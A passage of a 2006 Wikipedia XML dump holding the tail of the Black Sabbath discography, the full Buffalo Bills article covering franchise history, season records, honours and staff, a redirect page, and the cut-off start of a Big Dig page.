*[[2002]] ''[[Symptom of the Universe: The Original Black Sabbath 1970-1978]]'' (compilation - Iommi, Osbourne, Butler, Ward)
*[[2004]] ''[[Black Box: The Complete Original Black Sabbath (1970-1978)]]'' (box set - Iommi, Osbourne, Butler, Ward)

==Unofficial/other discography==
The albums in this section are not official, as they were not released with the cooperation of band management, and are generally released by record companies, not the band itself.

*[[1980]] - ''[[Live at Last (Black Sabbath album)|Live at Last]]'' (Live from 1973 - Iommi, Osbourne, Butler, Ward); #5 UK.  Eventually remastered and officially released as one of the two ''Past Lives'' discs.
*[[1973]], [[1976]], [[2000]] - ''[[The Best of Black Sabbath]]'' (several different [[compilation albums]] under this title)
*[[1976]] - ''The Original'' (compilation, Germany)
*[[1978]] - ''Rock Heavies'' (compilation, Germany)
*[[1983]] - ''The Best'' (compilation, Australia)
*[[1983]] - ''The Very Best of Black Sabbath'' (compilation, South Africa)
*[[1984]], [[1987]] - ''The Kings of Hell'' (compilation, Brazil)
*[[1985]] - ''The Collection'' (compilation, UK)
*[[1991]] - ''Backtrackin'' (compilation, Australia)
*[[1991]] - ''Children of the Grave'' (essentially the ''Vol. 4'' album with an added live version of &quot;Children of the Grave&quot;)
*[[2006]] - ''[[Paraniod (dvd)| Paranoid]]'' ([[DVD]])

== UK hit singles ==
* 1970 &quot;[[Paranoid (song)|Paranoid]]&quot; #4
* 1978 &quot;[[Never Say Die (song)|Never Say Die]]&quot; #21
* 1978 &quot;Hard Road&quot; #33
* 1980 &quot;Neon Knights&quot; #22
* 1980 &quot;Paranoid&quot; (re-issue) #14
* 1982 &quot;Turn up the Night&quot; #37
* 1992 &quot;TV Crimes&quot; #33

==External links==
* [http://www.black-sabbath.com/ Black Sabbath Online]: Joe Siegler's Black Sabbath Fan Site
* [http://www.sabbathlive.com/ Sabbathlive.com]: Rob Dwyer's Fan site attempting to gather a complete touring history
* [http://www.last.fm/music/Black+Sabbath Black Sabbath Page at Last.fm]
* [http://www.ozzyhead.com/ Mitch Vanbeekum's Ozzy Osbourne homepage ]
* [http://www.metal-archives.com/band.php?id=99 Black Sabbath] at [[Encyclopaedia Metallum]]
* [http://home.att.net/~chuckayoub/black_sabbath/black_sabbath_lyrics.html Black Sabbath Lyrics]
* [http://www.lyricsquest.com/B/black%20sabbath/index.html Black Sabbath lyrics]
* [http://www.sabbath.se Black Sabbath complete discography]
* [http://www.geocities.com/ozzyfaq/ The Complete Ozzy/Sabbath Biography ]

[[Category:Black Sabbath| ]]
[[Category:Music from Birmingham, England]]
[[Category:English musical groups]]
[[Category:Rock music groups]]
[[Category:British heavy metal musical groups]]

[[bg:Black Sabbath]]
[[cs:Black Sabbath]]
[[da:Black Sabbath]]
[[de:Black Sabbath]]
[[es:Black Sabbath]]
[[fr:Black Sabbath]]
[[ga:Black Sabbath]]
[[gl:Black Sabbath]]
[[ko:블랙 사바스]]
[[id:Black Sabbath]]
[[is:Black Sabbath]]
[[it:Black Sabbath]]
[[he:בלאק סבאת']]
[[lt:Black Sabbath]]
[[nl:Black Sabbath]]
[[ja:ブラック・サバス]]
[[no:Black Sabbath]]
[[pl:Black Sabbath]]
[[pt:Black Sabbath]]
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[[simple:Black Sabbath]]
[[fi:Black Sabbath]]
[[sv:Black Sabbath]]
[[tr:Black Sabbath]]</text>
    </revision>
  </page>
  <page>
    <title>Buffalo Bills</title>
    <id>4315</id>
    <revision>
      <id>42010210</id>
      <timestamp>2006-03-03T04:58:22Z</timestamp>
      <contributor>
        <username>Zzyzx11</username>
        <id>182902</id>
      </contributor>
      <comment>rv upset Bills fan who is still upset about the [[Music City Miracle]]</comment>
      <text xml:space="preserve">{{Otheruses}}
{{NFL team | name = Buffalo Bills
| logo = BuffaloBills_100.png
| founded = 1960
| city = Buffalo, New York
| colors = Dark Navy, Red, Royal, Nickel, and White
| coach = [[Dick Jauron]]
| owner = [[Ralph C. Wilson Jr.]]
| general manager = [[Marv Levy]]
| mascot = [[Billy Buffalo]]
| stations = [[WGRF]] (96.9 FM), [[WEDG]] (103.3 FM), [[WHTT]] (104.1 FM), and [[WCMF]] (96.5 FM) 
| announcers = [[John Murphy (announcer)|John Murphy]]
| hist_yr = 1960
| affiliate_old =
[[American Football League]] (1960-1969)
*Eastern Division (1960-1969)
| NFL_start_yr = 1970
| division_hist =
*'''[[American Football Conference]] (1970-present)'''
**'''[[AFC East]] (1970-present)'''
| no_league_champs = 2
| no_conf_champs = 4
| no_div_champs = 10
| league_champs =
*'''[[American Football League|AFL Championships]] (2)'''&lt;br&gt;1964, 1965
| conf_champs =
*'''AFC:''' 1990, 1991, 1992, 1993
| div_champs =
*'''AFL East:''' 1964, 1965, 1966
*'''AFC East:''' 1980, 1988, 1989, 1990, 1991, 1993, 1995
| stadium_years =
*[[War Memorial Stadium (Buffalo)|War Memorial Stadium]] (1960-1972)
*'''[[Ralph Wilson Stadium]] (1973-present)'''
**a.k.a. Rich Stadium (1973-1998)
}}

The '''Buffalo Bills''' are a professional [[American football]] team based in the [[Buffalo, New York]] [[metropolitan area]], and play their home games in the suburb of [[Orchard Park (town), New York|Orchard Park]]. They currently belong to the [[AFC East|Eastern Division]] of the [[American Football Conference]] (AFC) in the [[National Football League]] (NFL). The Bills began play in 1960 as a charter member of the [[American Football League]] and joined the NFL as part of the [[AFL-NFL Merger]].

The Bills won two consecutive AFL titles in 1964 and 1965. The club is also the first and only team to appear in four consecutive [[Super Bowl]]s, though they lost all of them. The franchise name comes from the legendary western hunter and performer [[Buffalo Bill Cody|Buffalo Bill]].

==Franchise history==
===1960-1985===
The Buffalo Bills were a charter member of the [[American Football League]] in 1960.  After a public contest, the team adopted the same name as the former [[All-America Football Conference]] team in Buffalo.  In the AFL, a predominantly offensive league, the Bills were a great defensive team. 

The 1964 Bills allowed just 913 yards rushing on 300 attempts during the regular season, a pro football record.  The same defense registered fifty quarterback sacks, a team record that stands today, even though it was established in a 14-game season.  They were the first [[American Football League]] team to win 13 games in a season.  The 1964 defense also allowed only four touchdowns rushing all season, and started a string that would extend into the 1965 season: seventeen straight games without allowing an opponent to score a rushing touchdown.  Eight members of the 1964 squad were on that year's AFL Eastern Division All-Star Team, including cornerback Butch Byrd.  Three were eventually named to the American Football League's All-Time Team, and six to the second team.  The only professional football player ever inducted to the [[Pro Football Hall of Fame]], without ever playing in the NFL, was a member of the 1964 Bills; guard [[Billy Shaw]].

The Bills won [[AFL]] championships in both 1964 and 1965, were one of only three teams to appear in an AFL championship game for three consecutive years, and the only AFL team to play in the post-season for four straight years, 1963 through 1966.  In addition to their defensive prowess, the Bills had offensive muscle as well, in stars such as fullback [[Cookie Gilchrist]], quarterbacks [[Jack Kemp]] and [[Daryle Lamonica]], and receivers [[Elbert Dubenion]] and [[Ernie Warlick]]. Tragedy struck the Bills when [[Bob Kalsu]], an offensive lineman, quit the team after his 1968 rookie season to serve in the [[Vietnam War]], where he was killed in action in 1970.
 
Before the 1969 season, the Bills drafted [[running back]] [[O.J. Simpson]], who would become the face of the franchise through the 1970s.  The Bills became part of the NFL when the latter absorbed the AFL in a merger in 1970.  In 1971, not only did the Bills finish in sole possession of the NFL's worst overall record at 1&amp;ndash;13, but they also scored the fewest points (184) in the league that year while allowing the most (394); no NFL team has since done all three of those things in the same season in a non-strike year.  [[Lou Saban]], who had coached the Bills' AFL championship teams, was re-hired in 1972.

1973 was a season of change: [[Joe Ferguson]] became their new quarterback, they moved into a new stadium, Simpson recorded a 2,000-yard season and was voted NFL MVP, and the team had its first winning record since 1966. The &quot;Electric Company&quot; of Simpson, [[Jim Braxton]], [[Paul Seymour (sports)|Paul Seymour]], [[Joe DeLamielleure]] as recounted in the locally-recorded hit &quot;Turn on the Juice&quot;, lead a dramatic turnaround on the field.  The team made the NFL playoffs for the first time in 1974, but lost in the first round to the eventual [[Super Bowl]] champion [[Pittsburgh Steelers]].

After a mediocre 1975 season the Bills had internal troubles in 1976, as the team dropped to the bottom of the AFC East, where they stayed for the rest of the 1970s. After the 1977 season Simpson was traded to the [[San Francisco 49ers]]. [[Chuck Knox]] was hired as head coach and he would end up leading the Bills back to the top.

1980 marked another breakthrough for the Bills. They beat the archrival [[Miami Dolphins]] for the first time in 11 years in their season opener, en route to winning their first AFC East title. The following season they lost their title to the Dolphins, but won their first NFL playoff game (over the [[New York Jets]]). They lost in the second round to the eventual AFC champion [[Cincinnati Bengals]]. The following year&amp;mdash;the strike-shortened season of 1982&amp;mdash;the Bills slipped to a 4&amp;ndash;5 final record. 

In the famous [[1983 NFL Draft|1983 draft]] the Bills selected quarterback [[Jim Kelly]] as their replacement to an aging Joe Ferguson, but Kelly decided to play in the upstart [[United States Football League]] instead.  Knox left his coaching position to take a job with the [[Seattle Seahawks]], and new coach [[Kay Stephenson]] proved to be less than stellar.  In 1984 and 1985 the Bills went 2&amp;ndash;14.

===1986-1997===
After the [[USFL]]'s demise, Jim Kelly joined the Bills for the 1986 season, welcomed into town as a hero and a savior.  He soon would prove to be worth the wait. Midway through the 1986 season, the Bills fired coach [[Hank Bullough]] and replaced him with [[Marv Levy]], the former head coach of the [[Kansas City Chiefs]].  Levy, along with general manager [[Bill Polian]] put together a receiving game featuring [[Andre Reed]] a defense led by first-overall draft pick [[Bruce Smith]], and a top-flight offensive line, led by center [[Kent Hull]] along with [[Jim Ritcher]], [[Will Wolfford]] and [[Howard Ballard]].  The Bills started marching back to the top.

After the strike year of 1987, in 1988, the rookie season of running back [[Thurman Thomas]], the Bills went 12&amp;ndash;4 and finished atop the AFC East for the first of four consecutive seasons. After having an easy time with the [[Houston Oilers]] in the divisional playoff, they lost the AFC championship to the [[Cincinnati Bengals]]. 1989 was a relative disappointment, with a 9&amp;ndash;7 record and a first-round playoff loss to the [[Cleveland Browns]].  The Bills had a chance to win the game as time was running out, but a Kelly pass was dropped in the corner of the end zone by [[Ronnie Harmon]].

In 1990 the Bills switched to a hurry-up offense, and it started one of the most successful runs in NFL history. The team finished 13&amp;ndash;3 and blew out the Miami Dolphins and [[Los Angeles Raiders]] in the playoffs on their way to [[Super Bowl XXV]]. The Bills were overwhelming favorites to beat the [[New York Giants]], but the defensive plan laid out by coach [[Bill Parcells]] and defensive coordinator [[Bill Belichick]] kept Buffalo in check (and without the ball) throughout the game. The game featured many lead changes, and with the score 20&amp;ndash;19 in favor of New York with eight seconds left, Bills kicker [[Scott Norwood]] attempted a 47-yard field goal. It went wide to the right, and the Giants emerged victorious; however, some criticized Levy for not calling one more offensive play in an effort to make the field goal try shorter.

The Bills steamrolled through the 1991 regular season as well, finishing 13&amp;ndash;3 again and with Thurman Thomas winning the Offensive Player of the Year award. They also had an easy time with the [[Kansas City Chiefs]] in their first playoff game and beat the [[Denver Broncos]] in a defensive struggle in the AFC Championship. The Bills looked to avenge their heartbreaking Super Bowl loss a year earlier by playing the [[Washington Redskins]] in [[Super Bowl XXVI]], but it was not to be. The Redskins opened up a 24&amp;ndash;0 halftime lead and never looked back, handing the Bills a 37&amp;ndash;24 loss.

The Bills lost the 1992 AFC East title to the Miami Dolphins and Jim Kelly was injured in the final game of the regular season. Backup quarterback [[Frank Reich]] started their wild card playoff game against the [[Tennessee Titans|Houston Oilers]], and they were down 35&amp;ndash;3 early in the third quarter. Undaunted, the Bills scored touchdowns on several consecutive possessions to tie the game and force overtime. [[Steve Christie]] kicked the game-winning field goal in the extra session to cap the biggest comeback in NFL history, 41&amp;ndash;38. They then handily defeated the Pittsburgh Steelers in the divisional playoff and upset the archrival Dolphins in the AFC Championship to advance to their third straight Super Bowl. [[Super Bowl XXVII]], played against the [[Dallas Cowboys]], turned out to be a mismatch. Buffalo committed 9 turnovers en route to a 52&amp;ndash;17 loss.  One of the sole bright spots for the Bills was Don Beebe's rundown and strip of Leon Lett after Lett had returned a fumble inside the Bills' 5 and was on his way to scoring.  Lett held the ball out long enough for Beebe, who had made up a considerable distance to get to Lett, to knock it out of his hand.

The Bills won the AFC East championship in 1993 with a 12&amp;ndash;4 record, and again won playoff games against the [[Los Angeles Raiders]] and [[Kansas City Chiefs]], setting up a rematch with the Cowboys in [[Super Bowl XXVIII]] on [[January 30]], [[1994]] . The Bills became the only team ever to play in four straight Super Bowls, and looked ready to finally win one when they led at halftime. A Thurman Thomas fumble returned for a touchdown by [[James Washington]] tied the game, and the Bills were stunned again, 30&amp;ndash;13.

The Bills would not get a chance to make it five straight in 1994. The team stumbled down the stretch and finished 7&amp;ndash;9, fourth in the division and out of the playoffs. Thus, the Bills became the only team in NFL history, to go to 4 straight Super Bowls, and lose all 4.   See [[0 for 4 Curse]].

In 1995 Buffalo, with free agent linebacker [[Bryce Paup]] anchoring the defense, again made the playoffs with a 10&amp;ndash;6 record, and defeated Miami in the wild card round. They would not get a chance to get back to the Super Bowl&amp;mdash;the Pittsburgh Steelers, who went on to advance to the [[Super Bowl]], beat Buffalo in the divisional playoffs 40-21. 

In 1996 the Bills saw their commanding lead in the AFC East race disappear to a surging [[New England Patriots]] team. They still made the playoffs, but as a wild card&amp;mdash;and the first victim of the Cinderella [[Jacksonville Jaguars]], the first visiting team ever to win a playoff game in Buffalo. Jim Kelly retired after the season, signaling an end to the most successful era in Bills history. Thurman Thomas gave way to new running back [[Antowain Smith]]. Kelly's loss was felt in 1997, with the Bills stumbling to 6&amp;ndash;10. Coach [[Marv Levy]] retired after the season.

===1998-present===
The Bills, under new coach [[Wade Phillips]] signed two [[quarterback]]s for the 1998 season, [[Rob Johnson]] and former [[Canadian Football League]] star [[Doug Flutie]]. Despite many Bills fans wanting Flutie to get the starting job, Phillips named Johnson to the position. After Johnson and the Bills stumbled to begin the season, Flutie came in and led the Bills to a playoff spot and 10&amp;ndash;6 record. They faltered in their first playoff game against the [[Miami Dolphins]].

Flutie's popularity continued into the 1999 season, with the Bills finishing 11&amp;ndash;5, two games behind the [[Indianapolis Colts]] in the [[AFC East]] standings. [[Wade Phillips]] gave Rob Johnson the starting [[quarterback]] job in the first round playoff game against the [[Tennessee Titans]] even though Flutie had won many games and had gotten the Bills into the playoffs. The Bills scored a field goal with 16 seconds left to give them a 16&amp;ndash;15 lead. But the [[Music City Miracle]], a lateral from [[Frank Wycheck]] to [[Kevin Dyson]] that led to a Tennessee [[touchdown]] on the ensuing kickoff won the game for the Titans. The Titans went on to advance to the Super Bowl. 

The final ties to the Bills' Super Bowl years were severed in 2000, when Thurman Thomas, Andre Reed and Bruce Smith were all cut. [[Antowain Smith]], [[Eric Moulds]], and [[Marcellus Wiley]] respectively had long since eclipsed them on the depth chart. After an 8&amp;ndash;8 season, and the team still caught up in the Johnson vs. Flutie controversy, general manager [[John Butler (football)|John Butler]] departed for the [[San Diego Chargers]]&amp;mdash;and took Flutie and Wiley with him. Doug Flutie left the Bills with a .677 winning percentage in 31 starts. Antowain Smith also left as a free agent for the New England Patriots, where he was the starting running back on their first two Super Bowl championship teams. Both Flutie and Smith were dominant in their final game as Bills, in a 42-23 victory over the [[Seattle Seahawks]]. Smith would be quickly replaced by rookie [[Travis Henry]].

Titans defensive coordinator [[Gregg Williams]] took over as head coach for the 2001 season, which proved to be the worst in recent memory for the Bills. [[Rob Johnson]] went down in mid-season with an injury and [[Alex Van Pelt]] took over. Buffalo finished 3&amp;ndash;13. The Bills even lost a much-hyped mid-season match up with &quot;Bills West&quot; (the Flutie-led Chargers).  After the season they traded for quarterback [[Drew Bledsoe]], deemed expendable by the Patriots after [[Tom Brady]] led them to a Super Bowl victory.

Bledsoe revived the Bills for the 2002 season, leading them to an 8&amp;ndash;8 record, setting 10 team passing records in the process. However, in a tough division with all other teams finishing 9&amp;ndash;7, they were still in last place. Another Patriots castoff, safety [[Lawyer Milloy]], joined the Bills days before the 2003 season began and gave the team an immediate boost on defense. After beating eventual champions New England 31&amp;ndash;0 in the first game, and crushing the Jaguars in their second game, the Bills stumbled through the rest of the season, finishing 6&amp;ndash;10. In one game, however, the Bills' fans gained a small measure of satisfaction when the defense sacked Rob Johnson multiple times in his relief effort for the [[Washington Redskins]]. Gregg Williams was fired as head coach after the 2003 season and replaced with [[Mike Mularkey]]. The Bills also drafted another quarterback, [[J.P. Losman]], to be used if Bledsoe continued to struggle in 2004. &lt;!-- Unsourced image removed: [[Image:mularkey.jpg|thumb|Head Coach Mike Mularkey, 2004&amp;ndash;present]] --&gt; 

Bledsoe did continue to struggle in 2004.  The Bills started the 2004 season 0&amp;ndash;4, with Bledsoe and his offense struggling in their run-first offense, averaging only 13 points per game. Additionally, each loss was heartbreakingly close. The team finally managed to turn things around with a victory at home against the also winless Miami Dolphins.  This, along with the emergence of [[Willis McGahee]] taking over the starting running back role from the injured [[Travis Henry]], and emergence of [[Lee Evans (football player)|Lee Evans]] to give the Bills a second deep threat, sparked the Bills to go 7&amp;ndash;2 in their next nine games.  This string of victories allowed the Bills to be in the hunt for a final AFC wildcard playoff spot.  Though they would lose to the Pittsburgh Steelers in the final game of the season, costing them a playoff berth, the late season surge gave the team a positive direction to approach 2005.   

The Bills released quarterback [[Drew Bledsoe]], who then signed with the [[Dallas Cowboys]]&amp;mdash;reuniting him with former coach [[Bill Parcells]].  Many fans hoped that replacement J.P. Losman could lead the Bills to the playoffs in the 2005 season.

Losman's development did not proceed as quickly as the Bills had hoped it would. He began the 2005 season 1-3 as a starter, prompting [[Kelly Holcomb]] to replace him. Losman would not see action again until Holcomb was injured in Week 10 against the [[Kansas City Chiefs]]. He led the Bills to a win in that game, but would again be replaced by Holcomb after losing the next several games. Buffalo's 2005 campaign resulted in a 5-11 record and the firing of General Manager [[Tom Donahoe]] in January 2006. Marv Levy was named as his replacement, with hopes that he would improve a franchise that failed to make the playoffs during Donahoe's tenure. That same month, Mike Mularkey resigned as head coach, citing family reasons along with disagreement over the direction of the organization. Former [[Chicago Bears]] coach, and [[Detroit Lions]] assistant, [[Dick Jauron]], was hired as his replacement.

===Logo and uniforms===
[[Image:BuffaloBillsOldLogo.png|left|framed|Bills logo (1960&amp;ndash;1973)]]
[[Image:BuffaloBills 100.png|right|framed|Bills logo (1974&amp;ndash;present)]]
When the Bills began playing in 1960, the team's colors were light blue, white, and silver. The team wore blue jerseys with gray numbers and white jerseys with blue numbers.  The helmets were all silver with blue numbers on the side. [http://hometown.aol.com/bkbubco/60-Buf.html]

In 1962, the team's colors changed to red, white, and blue. The team started to wear blue jerseys with red and white stripes on the shoulders. A red stationary bison logo was also put on the helmets, which became white with a red center stripe. [http://hometown.aol.com/bkbubco/62-Buf.html] By 1965, red and blue center stripes were put on the helmets. [http://hometown.aol.com/bkbubco/65-Buf.html]

In 1974, the standing bison logo was replaced by a blue charging one with a red slanting stripe streaming from its horn. Ten years later, the color of their helmets were switched to red. Then in 2002, a darker shade of blue was introduced, along with red and white pipe trimming on the jerseys in pants.

Since 2005, the Bills have used the 1960s uniforms as the team's alternate jerseys.

===Fight Songs===
*1980-1987 - &quot;Talkin' Proud&quot; - Alden Schutte
*1988-present - &quot;Buffalo Bills Shout&quot; - Buffalo Bills All-Stars
*1994-1995 - &quot;Go Bills!&quot; - [[Marv Levy]] (unofficial)

===Season-by-season records===
{{Start NFL SBS}}
|-
|1960 || 5 || 8 || 1 || 3rd East (AFL) || --
|-
|1961 || 6 || 8 || 0 || 4th East (AFL) || --
|-
|1962 || 7 || 6 || 1 || 3rd East (AFL) || --
|-
|1963 || 7 || 6 || 1 || 2nd East (AFL) || Lost [[AFL playoffs#1963 playoffs|Eastern Division playoff]] ([[Boston Patriots|Patriots]])
|-
|1964 || 12 || 2 || 0 || 1st East (AFL) || '''Won [[AFL playoffs#1964 Championship|AFL Championship]]''' ([[San Diego Chargers|Chargers]])
|-
|1965 || 10 || 3 || 1 || 1st East (AFL) || '''Won [[AFL playoffs#1965 Championship|AFL Championship]]''' ([[San Diego Chargers|Chargers]])
|-
|1966 || 9 || 4 || 1 || 1st East (AFL) || Lost [[AFL playoffs#1966 Championship|AFL Championship]] ([[Kansas City Chiefs|Chiefs]])
|-
|1967 || 4 || 10 || 1 || 3rd East (AFL) || --
|-
|1968 || 1 || 12 || 0 || 5th East (AFL) || --
|-
|1969 || 4 || 10 || 0 || 4th East (AFL) || --
|-
| colspan=&quot;6&quot; align=&quot;center&quot; | '''Merged into NFL'''
|-
|1970 || 3 || 10 || 1 || 4th AFC East || --
|-
|1971 || 1 || 13 || 0 || 5th AFC East || --
|-
|1972 || 4 || 9 || 1 || 4th AFC East || --
|-
|1973 || 9 || 5 || 0 || 2nd AFC East || --
|-
|1974 || 9 || 5 || 0 || 2nd AFC East || Lost [[NFL playoffs, 1974-75|Divisional Playoffs]] ([[Pittsburgh Steelers|Steelers]])
|-
|1975 || 8 || 6 || 0 || 3rd AFC East || --
|-
|1976 || 2 || 12 || 0 || 5th AFC East || --
|-
|1977 || 3 || 11 || 0 || 5th AFC East || --
|-
|1978 || 5 || 11 || 0 || 4th AFC East || --
|-
|1979 || 7 || 9 || 0 || 4th AFC East || --
|-
|1980 || 11 || 5 || 0 || 1st AFC East || Lost [[NFL playoffs, 1980-81|Divisional Playoffs]] ([[San Diego Chargers|Chargers]])
|-
|1981 || 10 || 6 || 0 || 3rd AFC East || Lost [[NFL playoffs, 1981-82|Divisional Playoffs]] ([[Cincinnati Bengals|Bengals]])
|-
|1982 || 4 || 5 || 0 || 9th AFC Conf. || --
|-
|1983 || 8 || 8 || 0 || 3rd AFC East || --
|-
|1984 || 2 || 14 || 0 || 5th AFC East || --
|-
|1985 || 2 || 14 || 0 || 5th AFC East || --
|-
|1986 || 4 || 12 || 0 || 4th AFC East || --
|-
|1987 || 7 || 8 || 0 || 4th AFC East || --
|-
|1988 || 12 || 4 || 0 || 1st AFC East || Lost [[NFL playoffs, 1988-89|AFC Championship]] ([[Cincinnati Bengals|Bengals]])
|-
|1989 || 9 || 7 || 0 || 1st AFC East || Lost [[NFL playoffs, 1989-90|Divisional Playoffs]] ([[Cleveland Browns|Browns]])
|-
|1990 || 13 || 3 || 0 || 1st AFC East || Lost [[Super Bowl XXV]] ([[New York Giants|Giants]])
|-
|1991 || 13 || 3 || 0 || 1st AFC East || Lost [[Super Bowl XXVI]] ([[Washington Redskins|Redskins]])
|-
|1992 || 11 || 5 || 0 || 2nd AFC East || Lost [[Super Bowl XXVII]] ([[Dallas Cowboys|Cowboys]])
|-
|1993 || 12 || 4 || 0 || 1st AFC East || Lost [[Super Bowl XXVIII]] ([[Dallas Cowboys|Cowboys]])
|-
|1994 || 7 || 9 || 0 || 4th AFC East || --
|-
|1995 || 10 || 6 || 0 || 1st AFC East || Lost [[NFL playoffs, 1995-96|Divisional Playoffs]] ([[Pittsburgh Steelers|Steelers]])
|-
|1996 || 10 || 6 || 0 || 2nd AFC East || Lost [[NFL playoffs, 1996-97|Wild Card Playoffs]] ([[Jacksonville Jaguars|Jaguars]])
|-
|1997 || 6 || 10 || 0 || 4th AFC East || --
|-
|1998 || 10 || 6 || 0 || 3rd AFC East || Lost [[NFL playoffs, 1998-99|Wild Card Playoffs]] ([[Miami Dolphins|Dolphins]])
|-
|1999 || 11 || 5 || 0 || 2nd AFC East || Lost [[NFL playoffs, 1999-2000|Wild Card Playoffs]] ([[Tennessee Titans|Titans]])
|-
|2000 || 8 || 8 || 0 || 4th AFC East || --
|-
|2001 || 3 || 13 || 0 || 5th AFC East || --
|-
|2002 || 8 || 8 || 0 || 4th AFC East || --
|-
|2003 || 6 || 10 || 0 || 3rd AFC East || --
|-
|2004 || 9 || 7 || 0 || 3rd AFC East || --
|-
|2005|| 5 || 11 || 0 || 3rd AFC East || --
{{End}}

^At the end of the [[2005 NFL season]], the Bills All-Time Record is 341-372-8 (including AFL &amp; NFL playoffs).

==Players and coaches of note==
===Current Roster===
{{Buffalo Bills roster}}

===[[Pro Football Hall of Fame]]===

'''Inductees'''
*1985 - [[O. J. Simpson]]
*1999 - [[Billy Shaw]]
*2001 - [[Marv Levy]]
*2002 - [[Jim Kelly]]
*2003 - [[Joe Delamielleure]]
*2003 - [[James Lofton]]

'''Award Recipients'''
*1984 - [[Larry Felser]] - [[Dick McCann Memorial Award]]
*2004 - [[Van Miller]] - [[Pete Rozelle Radio-Television Award]]

===Buffalo Bills Wall of Fame===

'''Inductees'''

*1980 - [[O. J. Simpson]]
*1984 - [[Jack Kemp]]
*1985 - [[Patrick J. McGroder]]
*1987 - [[Tom Sestak]]
*1988 - [[Billy Shaw]]
*1989 - [[Ralph C. Wilson Jr.]]
*1992 - [[12th Man (American football)|The 12th Man]]
*1993 - [[Elbert Dubenion]]
*1994 - [[Mike Stratton]]
*1995 - [[Joe Ferguson]]
*1996 - [[Marv Levy]]
*1997 - [[Joe Delamielleure]]
*1998 - [[Robert James (football)|Robert James]]
*1999 - [[Edward Abramoski]]
*2000 - [[Bob Kalsu]]
*2000 - [[George Saimes]]
*2001 - [[Jim Kelly]]
*2001 - [[Fred Smerlas]]
*2002 - [[Kent Hull]]
*2003 - [[Darryl Talley]]
*2004 - [[Jim Ritcher]]
*2005 - [[Thurman Thomas]]

===Retired numbers===
*[[Jim Kelly]] / [[Joe Ferguson]] (12)

The numbers of [[O.J. Simpson]] (32), [[Thurman Thomas]] (34) and [[Bruce Smith]] (78) have not been officially retired, but none of these numbers have been reissued since those players left the team.

Since the earliest days of the team, the number 31 was not supposed to be issued to any player. The Bills had stationery and various other team merchandise showing a running player wearing that number, and it was not supposed to represent any specific person, but the 'spirit of the team.' This policy has been abandoned in recent years.

===Other notable alumni===
{|
|valign=&quot;top&quot;|
*[[Sam Adams (football player)|Sam Adams]], DT
*[[Don Beebe]], WR
*[[Cornelius Bennett]], LB
*[[Drew Bledsoe]], QB
*[[Ruben Brown]], OG
*[[Bob Chandler]]
*[[Steve Christie]], K
*[[Shane Conlan]]
*[[Al Cowlings]]
*[[Joe Cribbs]]
*[[Kenneth Davis]]
|valign=&quot;top&quot;|
*[[Doug Flutie]], QB
*[[Cookie Gilchrist]], RB
*[[Phil Hansen]]
*[[Jim Haslett]], LB
*[[Travis Henry]], RB
*[[Kent Hull]]
*[[Bob James]]
*[[Henry Jones (football player)|Henry Jones]]
*[[Paul Maguire]], P
*[[Scott Norwood]], K
|valign=&quot;top&quot;|
*[[Nate Odomes]]
*[[Bryce Paup]]
*[[Lou Piccone]]
*[[Peerless Price]], WR
*[[Andre Reed]], WR
*[[Frank Reich]], QB
*[[Bruce Smith]], DE
*[[Steve Tasker]], SPT
*[[Ted Washington]], DT
*[[Marcellus Wiley]], DE
|valign=&quot;top&quot;|
*[[Pat Williams]], DT
|}

===Head coaches===
*1960-1961 - [[Buster Ramsey]]
*1962-1965 - [[Lou Saban]] 
*1966-1968 - [[Joe Collier]] 
*1968 - [[Harvey Johnson]]
*1969-1970 - [[John Rauch]] 
*1971 - [[Harvey Johnson]] 
*1972-1976 - [[Lou Saban]] 
*1976-1977 - [[Jim Ringo]] 
*1978-1982 - [[Chuck Knox]] 
*1983-1985 - [[Kay Stephenson]] 
*1985-1986 - [[Hank Bullough]] 
*1986-1997 - [[Marv Levy]] 
*1998-2000 - [[Wade Phillips]] 
*2001-2003 - [[Gregg Williams]] 
*2004-2005 - [[Mike Mularkey]] 
*2006-Present - [[Dick Jauron]] 

===Current Staff===
*General Manager - [[Marv Levy]]
*Assistant General Manager - [[Tom Modrak]] 
*Head Coach - [[Dick Jauron]]
*Offensive Coordinator - [[Steve Fairchild]]
*Defensive Coordinator - [[Perry Fewell]]
*Quarterbacks Coach - [[Turk Schonert]]
*Defensive Line Coach - [[Bill Kollar]]
*Special Teams Coach - [[Bobby April]]
*Offensive Line Coach - [[Jim McNally]]
*Linebackers Coach - [[Matt Sheldon]]
*Tight Ends Coach - [[Charlie Coiner]]
*Defensive Assistant - [[Chuck Lester]]
*Strength and Conditioning - [[John Allaire]]
*Running Backs Coach - [[Eric Studesville]]
*Defensive Backs Coach - [[George Catavolos]]
*Wide Receivers Coach - [[Tyke Tolbert]]
*Assistant Offensive Line Coach - [[Larry Zierlein]]
*Offensive Assistant - [[Alex Van Pelt]]

==External links==
*[http://www.buffalobills.com/ Buffalo Bills - Official Site]
*[http://www.billsinsider.com/ Buffalo Bills Insider - Bills News and Largest Fan Community (unofficial)]
*[http://www.twobillsdrive.com/ Two Bills Drive - Bills Message Board and News (unofficial)]
*[http://www.billszone.com/ BillsZone.com - Bills Site (unofficial)]
*[http://www.billsfancentral.com/ Bills Fan Central - Bills News and Forums (unofficial)]
*[http://www.classicbuffalo.com/Bills.htm Bills Fan Tribute (unofficial)]
*[http://www.sportsecyclopedia.com/nfl/buffalo/bills.html Sports E-Cyclopedia - Buffalo Bills (unofficial)]

{{NFL}}


[[Category:Buffalo Bills| ]]
[[Category:1960 establishments]]
[[Category:American Football League]]
[[Category:National Football League teams]]

[[de:Buffalo Bills]]
[[es:Buffalo Bills]]
[[fr:Bills de Buffalo]]
[[it:Buffalo Bills]]
[[ja:バッファロー・ビルズ]]
[[pt:Buffalo Bills]]
[[sv:Buffalo Bills]]
[[zh:水牛城比尔]]</text>
    </revision>
  </page>
  <page>
    <title>Boleslaw I Chrobry</title>
    <id>4316</id>
    <revision>
      <id>31899268</id>
      <timestamp>2005-12-18T23:12:16Z</timestamp>
      <contributor>
        <username>Appleseed</username>
        <id>404133</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Bolesław I the Brave]]</text>
    </revision>
  </page>
  <page>
    <title>Big Dig</title>
    <id>4318</id>
    <revision>
      <id>41431044</id>
      <timestamp>2006-02-27T07:03:48Z</timestamp>
      <contributor>
        <username>Kether83</username>
        <id>428701</id>
      </contributor>
      <minor />
      <comment>added length of 93 tunnel into opening paragraph</comment>
      <text xml:space="preserve">[[Image:bigdig.png|right|CA/T logo]]

